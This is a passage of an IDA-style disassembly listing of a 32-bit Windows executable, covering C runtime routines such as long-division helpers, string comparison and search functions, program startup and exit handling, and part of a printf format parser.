--------------------------------------------------------------------------- loc_410520: ; CODE XREF: sub_410487+8Aj mov edi, ebx loc_410522: ; CODE XREF: sub_410487+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_415AF3 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41057D add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41057D loc_41053F: ; CODE XREF: sub_410487+70j mov edi, [ebp+var_4] jmp short loc_41056D ; --------------------------------------------------------------------------- loc_410544: ; CODE XREF: sub_410487+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_410C9B pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_410586 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41056D mov [ebp+arg_C], 1 loc_41056D: ; CODE XREF: sub_410487+BBj ; sub_410487+DDj test ebx, ebx jnz loc_4104C5 mov eax, [ebp+arg_8] loc_410578: ; CODE XREF: sub_410487+1Fj ; sub_410487+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41057D: ; CODE XREF: sub_410487+ADj ; sub_410487+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_410588 ; --------------------------------------------------------------------------- loc_410586: ; CODE XREF: sub_410487+84j ; sub_410487+CFj mov eax, edi loc_410588: ; CODE XREF: sub_410487+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_410578 sub_410487 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105A0 proc near ; CODE XREF: sub_405076+1C1p ; sub_405076+276p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4105D1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4105CF jz short loc_4105D1 dec ecx dec ecx loc_4105CF: ; CODE XREF: sub_4105A0+29j not ecx loc_4105D1: ; CODE XREF: sub_4105A0+9j ; sub_4105A0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4105A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4105E0 proc near ; CODE XREF: sub_40544D+3Dp ; sub_410DB0+5B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_410601 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_410651 ; --------------------------------------------------------------------------- loc_410601: ; CODE XREF: sub_4105E0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41060F: ; CODE XREF: sub_4105E0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41060F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41063A cmp edx, [esp+4+arg_4] ja short loc_41063A jb short loc_410642 cmp eax, [esp+4+arg_0] jbe short loc_410642 loc_41063A: ; CODE XREF: sub_4105E0+4Aj ; sub_4105E0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_410642: ; CODE XREF: sub_4105E0+52j ; sub_4105E0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_410651: ; CODE XREF: sub_4105E0+1Fj pop ebx retn 10h sub_4105E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410660 proc near ; CODE XREF: sub_40544D+24p ; sub_410DB0+5C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_410682 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4106C3 ; --------------------------------------------------------------------------- loc_410682: ; CODE XREF: sub_410660+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_410690: ; CODE XREF: sub_410660+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_410690 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4106BE cmp edx, [esp+8+arg_4] ja short loc_4106BE jb short loc_4106BF cmp eax, [esp+8+arg_0] jbe short loc_4106BF loc_4106BE: ; CODE XREF: sub_410660+4Ej ; sub_410660+54j dec esi loc_4106BF: ; CODE XREF: sub_410660+56j ; sub_410660+5Cj xor edx, edx mov eax, esi loc_4106C3: ; CODE XREF: sub_410660+20j pop esi pop ebx retn 10h sub_410660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4106D0 proc near ; CODE XREF: sub_406287+11Bp ; sub_406906+19Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4106E9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4106E9: ; CODE XREF: sub_4106D0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4106D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410704 proc near ; CODE XREF: sub_407AC2+19p ; sub_408486+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_410DB0 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_410742 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41074F ; --------------------------------------------------------------------------- loc_410742: ; CODE XREF: sub_410704+34j lea eax, [ebp+var_20] push eax push 0 call sub_410C9B pop ecx pop ecx loc_41074F: ; CODE XREF: sub_410704+3Cj mov eax, esi pop esi leave retn sub_410704 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410760 proc near ; CODE XREF: sub_4082E0+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_4107AC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_4107AD test eax, 1 jz short loc_41078D mov cl, [esi] cmp cl, [edi] jnz short loc_4107DA inc esi inc edi dec eax jz short loc_4107AA loc_41078D: ; CODE XREF: sub_410760+20j ; sub_410760+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_4107DA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_4107DA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41078D loc_4107AA: ; CODE XREF: sub_410760+2Bj ; sub_410760+84j pop edi pop esi locret_4107AC: ; CODE XREF: sub_410760+6j retn ; --------------------------------------------------------------------------- loc_4107AD: ; CODE XREF: sub_410760+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_4107E2 repe cmpsd jz short loc_4107E2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_4107D5 cmp ch, dh jnz short loc_4107D5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_4107D5 cmp ch, dh loc_4107D5: ; CODE XREF: sub_410760+63j ; sub_410760+67j ... mov eax, 0 loc_4107DA: ; CODE XREF: sub_410760+26j ; sub_410760+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4107E2: ; CODE XREF: sub_410760+55j ; sub_410760+59j test eax, eax jz short loc_4107AA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_4107D5 dec eax jz short loc_410809 cmp dh, ch jnz short loc_4107D5 dec eax jz short loc_410809 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_4107D5 dec eax loc_410809: ; CODE XREF: sub_410760+8Fj ; sub_410760+96j pop edi pop esi retn sub_410760 endp ; =============== S U B R O U T I N E ======================================= sub_41080C proc near ; CODE XREF: sub_410B5C+93p mov eax, off_42205C test eax, eax jz short loc_410817 call eax ; sub_40EF31 loc_410817: ; CODE XREF: sub_41080C+7j push offset dword_41C020 push offset dword_41C00C call sub_4108F4 push offset dword_41C008 push offset dword_41C000 call sub_4108F4 add esp, 10h retn sub_41080C endp ; =============== S U B R O U T I N E ======================================= sub_410839 proc near ; CODE XREF: sub_410B5C+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41085B add esp, 0Ch retn sub_410839 endp ; =============== S U B R O U T I N E ======================================= sub_41084A proc near ; CODE XREF: .packed:00410C4Dp ; sub_410C52+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41085B add esp, 0Ch retn sub_41084A endp ; =============== S U B R O U T I N E ======================================= sub_41085B proc near ; CODE XREF: sub_410839+8p ; sub_41084A+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4BA2CC, edi jnz short loc_410878 push [esp+4+arg_0] call dword_41A110 ; GetCurrentProcess push eax call dword_41A114 ; TerminateProcess loc_410878: ; CODE XREF: sub_41085B+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4BA2C8, edi mov byte_4BA2C4, bl jnz short loc_4108CC mov eax, dword_4BB8F8 test eax, eax jz short loc_4108BB mov ecx, dword_4BB8F4 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4108BA loc_4108A7: ; CODE XREF: sub_41085B+5Dj mov eax, [esi] test eax, eax jz short loc_4108AF call eax loc_4108AF: ; CODE XREF: sub_41085B+50j sub esi, 4 cmp esi, dword_4BB8F8 jnb short loc_4108A7 loc_4108BA: ; CODE XREF: sub_41085B+4Aj pop esi loc_4108BB: ; CODE XREF: sub_41085B+3Cj push offset dword_41C02C push offset dword_41C024 call sub_4108F4 pop ecx pop ecx loc_4108CC: ; CODE XREF: sub_41085B+33j push offset dword_41C038 push offset dword_41C030 call sub_4108F4 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_4108F2 push [esp+4+arg_0] mov dword_4BA2CC, edi call dword_41A0F4 ; ExitProcess loc_4108F2: ; CODE XREF: sub_41085B+85j pop edi retn sub_41085B endp ; =============== S U B R O U T I N E ======================================= sub_4108F4 proc near ; CODE XREF: sub_41080C+15p ; sub_41080C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4108F9: ; CODE XREF: sub_4108F4+16j cmp esi, [esp+4+arg_4] jnb short loc_41090C mov eax, [esi] test eax, eax jz short loc_410907 call eax loc_410907: ; CODE XREF: sub_4108F4+Fj add esi, 4 jmp short loc_4108F9 ; --------------------------------------------------------------------------- loc_41090C: ; CODE XREF: sub_4108F4+9j pop esi retn sub_4108F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41090E proc near ; CODE XREF: sub_409034+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_40E730 cmp eax, 1 pop ecx jb short loc_410949 cmp byte ptr [ebx+1], 3Ah jnz short loc_410949 mov esi, [ebp+arg_4] test esi, esi jz short loc_410945 push 2 push ebx push esi call sub_416080 add esp, 0Ch and byte ptr [esi+2], 0 loc_410945: ; CODE XREF: sub_41090E+25j inc ebx inc ebx jmp short loc_410953 ; --------------------------------------------------------------------------- loc_410949: ; CODE XREF: sub_41090E+18j ; sub_41090E+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_410953 and byte ptr [eax], 0 loc_410953: ; CODE XREF: sub_41090E+39j ; sub_41090E+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4109CB loc_410966: ; CODE XREF: sub_41090E+87j mov cl, [eax] movzx edx, cl test byte_4BB6A1[edx], 4 jz short loc_410977 inc eax jmp short loc_410991 ; --------------------------------------------------------------------------- loc_410977: ; CODE XREF: sub_41090E+64j cmp cl, 2Fh jz short loc_41098B cmp cl, 5Ch jz short loc_41098B cmp cl, 2Eh jnz short loc_410991 mov [ebp+var_4], eax jmp short loc_410991 ; --------------------------------------------------------------------------- loc_41098B: ; CODE XREF: sub_41090E+6Cj ; sub_41090E+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_410991: ; CODE XREF: sub_41090E+67j ; sub_41090E+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_410966 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4109CB cmp [ebp+arg_8], 0 jz short loc_4109C6 sub edi, ebx cmp edi, esi jb short loc_4109AF mov edi, esi loc_4109AF: ; CODE XREF: sub_41090E+9Dj push edi push ebx push [ebp+arg_8] call sub_416080 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4109C6: ; CODE XREF: sub_41090E+97j mov ebx, [ebp+arg_4] jmp short loc_4109D5 ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_41090E+56j ; sub_41090E+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4109D5 and byte ptr [ecx], 0 loc_4109D5: ; CODE XREF: sub_41090E+BBj ; sub_41090E+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_410A28 cmp edi, ebx jb short loc_410A28 cmp [ebp+arg_C], 0 jz short loc_410A05 sub edi, ebx cmp edi, esi jb short loc_4109EE mov edi, esi loc_4109EE: ; CODE XREF: sub_41090E+DCj push edi push ebx push [ebp+arg_C] call sub_416080 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_410A05: ; CODE XREF: sub_41090E+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_410A50 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_410A15 mov esi, eax loc_410A15: ; CODE XREF: sub_41090E+103j push esi push [ebp+var_4] push edi call sub_416080 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_410A50 ; --------------------------------------------------------------------------- loc_410A28: ; CODE XREF: sub_41090E+CCj ; sub_41090E+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_410A46 sub eax, ebx cmp eax, esi jnb short loc_410A37 mov esi, eax loc_410A37: ; CODE XREF: sub_41090E+125j push esi push ebx push edi call sub_416080 add esp, 0Ch and byte ptr [esi+edi], 0 loc_410A46: ; CODE XREF: sub_41090E+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_410A50 and byte ptr [eax], 0 loc_410A50: ; CODE XREF: sub_41090E+FCj ; sub_41090E+118j ... pop edi pop esi pop ebx leave retn sub_41090E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A60 proc near ; CODE XREF: sub_40997B+24B7p ; sub_40997B+24D5p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_410A81 xor eax, eax jmp short loc_410A83 ; --------------------------------------------------------------------------- loc_410A81: ; CODE XREF: sub_410A60+1Bj mov eax, edi loc_410A83: ; CODE XREF: sub_410A60+1Fj cld pop edi leave retn sub_410A60 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_410AA0 loc_410A90: ; CODE XREF: sub_410AA0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_410AA0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410AA0 proc near ; CODE XREF: sub_40997B+3F6p ; sub_40997B+4A5p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00410A90 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_410AA6: ; CODE XREF: sub_4102A0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_410ACB loc_410AB8: ; CODE XREF: sub_410AA0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_410A90 test cl, cl jz short loc_410B14 test edx, 3 jnz short loc_410AB8 loc_410ACB: ; CODE XREF: sub_410AA0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_410AD6: ; CODE XREF: sub_410AA0+61j ; sub_410AA0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_410B18 and eax, 81010100h jz short loc_410AD6 and eax, 1010100h jnz short loc_410B12 and esi, 80000000h jnz short loc_410AD6 loc_410B12: ; CODE XREF: sub_410AA0+68j ; sub_410AA0+81j ... pop esi pop edi loc_410B14: ; CODE XREF: sub_410AA0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_410B18: ; CODE XREF: sub_410AA0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_410B55 test al, al jz short loc_410B12 cmp ah, bl jz short loc_410B4E test ah, ah jz short loc_410B12 shr eax, 10h cmp al, bl jz short loc_410B47 test al, al jz short loc_410B12 cmp ah, bl jz short loc_410B40 test ah, ah jz short loc_410B12 jmp short loc_410AD6 ; --------------------------------------------------------------------------- loc_410B40: ; CODE XREF: sub_410AA0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_410B47: ; CODE XREF: sub_410AA0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_410B4E: ; CODE XREF: sub_410AA0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_410B55: ; CODE XREF: sub_410AA0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_410AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B5C proc near ; CODE XREF: start+189j var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A2D8 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_41A13C ; GetVersion xor edx, edx mov dl, ah mov dword_4BA29C, edx mov ecx, eax and ecx, 0FFh mov dword_4BA298, ecx shl ecx, 8 add ecx, edx mov dword_4BA294, ecx shr eax, 10h mov dword_4BA290, eax xor esi, esi push esi call sub_41174A pop ecx test eax, eax jnz short loc_410BC8 push 1Ch call sub_410C77 pop ecx loc_410BC8: ; CODE XREF: sub_410B5C+62j mov [ebp+var_4], esi call sub_4153B5 call dword_41A138 ; GetCommandLineA mov dword_4BB8E8, eax call sub_4165EC mov dword_4BA2D0, eax call sub_41639F call sub_4162E6 call sub_41080C mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_41A134 ; GetStartupInfoA call sub_41628E mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_410C15 movzx eax, [ebp+var_2C] jmp short loc_410C18 ; --------------------------------------------------------------------------- loc_410C15: ; CODE XREF: sub_410B5C+B1j push 0Ah pop eax loc_410C18: ; CODE XREF: sub_410B5C+B7j push eax push [ebp+var_64] push esi push esi call dword_41A0A4 ; GetModuleHandleA push eax call sub_409034 mov [ebp+var_60], eax push eax call sub_410839 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_41610A pop ecx pop ecx retn sub_410B5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41084A ; =============== S U B R O U T I N E ======================================= sub_410C52 proc near ; CODE XREF: sub_40F842+16p ; sub_4153B5+1Ap ... arg_0 = dword ptr 4 cmp dword_4BA2D8, 1 jnz short loc_410C60 call sub_416800 loc_410C60: ; CODE XREF: sub_410C52+7j push [esp+arg_0] call sub_416839 push 0FFh call off_422090 pop ecx pop ecx retn sub_410C52 endp ; =============== S U B R O U T I N E ======================================= sub_410C77 proc near ; CODE XREF: sub_410B5C+66p arg_0 = dword ptr 4 cmp dword_4BA2D8, 1 jnz short loc_410C85 call sub_416800 loc_410C85: ; CODE XREF: sub_410C77+7j push [esp+arg_0] call sub_416839 pop ecx push 0FFh call dword_41A0F4 ; ExitProcess retn sub_410C77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C9B proc near ; CODE XREF: sub_40E7AB+45p ; sub_40EE10+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_410DA4 test al, 40h jnz loc_410DA4 test al, 1 jz short loc_410CD3 and dword ptr [esi+4], 0 test al, 10h jz loc_410DA4 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_410CD3: ; CODE XREF: sub_410C9B+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_410D0D cmp esi, offset dword_424678 jz short loc_410CFB cmp esi, offset dword_424698 jnz short loc_410D06 loc_410CFB: ; CODE XREF: sub_410C9B+56j push ebx call sub_4169D0 test eax, eax pop ecx jnz short loc_410D0D loc_410D06: ; CODE XREF: sub_410C9B+5Ej push esi call sub_41698C pop ecx loc_410D0D: ; CODE XREF: sub_410C9B+4Ej ; sub_410C9B+69j test word ptr [esi+0Ch], 108h push edi jz short loc_410D7A mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_410D3D push edi push eax push ebx call sub_415AF3 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_410D70 ; --------------------------------------------------------------------------- loc_410D3D: ; CODE XREF: sub_410C9B+90j cmp ebx, 0FFFFFFFFh jz short loc_410D58 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4BB7C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_410D5D ; --------------------------------------------------------------------------- loc_410D58: ; CODE XREF: sub_410C9B+A5j mov eax, offset dword_424440 loc_410D5D: ; CODE XREF: sub_410C9B+BBj test byte ptr [eax+4], 20h jz short loc_410D70 push 2 push 0 push ebx call sub_415560 add esp, 0Ch loc_410D70: ; CODE XREF: sub_410C9B+A0j ; sub_410C9B+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_410D8E ; --------------------------------------------------------------------------- loc_410D7A: ; CODE XREF: sub_410C9B+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_415AF3 add esp, 0Ch mov [ebp+arg_4], eax loc_410D8E: ; CODE XREF: sub_410C9B+DDj cmp [ebp+arg_4], edi pop edi jz short loc_410D9A or dword ptr [esi+0Ch], 20h jmp short loc_410DA9 ; --------------------------------------------------------------------------- loc_410D9A: ; CODE XREF: sub_410C9B+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_410DAC ; --------------------------------------------------------------------------- loc_410DA4: ; CODE XREF: sub_410C9B+10j ; sub_410C9B+18j ... or al, 20h mov [esi+0Ch], eax loc_410DA9: ; CODE XREF: sub_410C9B+FDj or eax, 0FFFFFFFFh loc_410DAC: ; CODE XREF: sub_410C9B+107j pop esi pop ebx pop ebp retn sub_410C9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DB0 proc near ; CODE XREF: sub_40E7AB+28p ; sub_40EE10+29p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_4114C9 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_410DE4 ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: sub_410DB0+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_410DE4: ; CODE XREF: sub_410DB0+2Aj cmp [ebp+var_14], edx jl loc_4114C9 cmp bl, 20h jl short loc_410E05 cmp bl, 78h jg short loc_410E05 movsx eax, bl mov al, [eax+41A2C4h] and eax, 0Fh jmp short loc_410E07 ; --------------------------------------------------------------------------- loc_410E05: ; CODE XREF: sub_410DB0+40j ; sub_410DB0+45j xor eax, eax loc_410E07: ; CODE XREF: sub_410DB0+53j movsx eax, byte_41A2E4[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_4114B8 ; default jmp off_4114D1[eax*4] ; switch jump loc_410E25: ; DATA XREF: .packed:off_4114D1o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00410E1E case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E40: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o movsx eax, bl ; jumptable 00410E1E case 2 sub eax, 20h jz short loc_410E83 sub eax, 3 jz short loc_410E7A sub eax, 8 jz short loc_410E71 dec eax dec eax jz short loc_410E68 sub eax, 3 jnz loc_4114B8 ; default or [ebp+var_4], 8 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E68: ; CODE XREF: sub_410DB0+A4j or [ebp+var_4], 4 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410DB0+A0j or [ebp+var_4], 1 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E7A: ; CODE XREF: sub_410DB0+9Bj or byte ptr [ebp+var_4], 80h jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E83: ; CODE XREF: sub_410DB0+96j or [ebp+var_4], 2 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410E8C: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o cmp bl, 2Ah ; jumptable 00410E1E case 3 jnz short loc_410EB4 lea eax, [ebp+arg_8] push eax call sub_41158F test eax, eax pop ecx mov [ebp+var_20], eax jge loc_4114B8 ; default or [ebp+var_4], 4 neg eax loc_410EAC: ; CODE XREF: sub_410DB0+111j mov [ebp+var_20], eax jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410EB4: ; CODE XREF: sub_410DB0+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_410EAC ; --------------------------------------------------------------------------- loc_410EC3: ; CODE XREF: sub_410DB0+6Ej ; DATA XREF: .packed:off_4114D1o mov [ebp+var_10], edx ; jumptable 00410E1E case 4 jmp loc_4114B8 ; default ; --------------------------------------------------------------------------- loc_410ECB: ; CODE XREF: sub_410DB0+6Ej 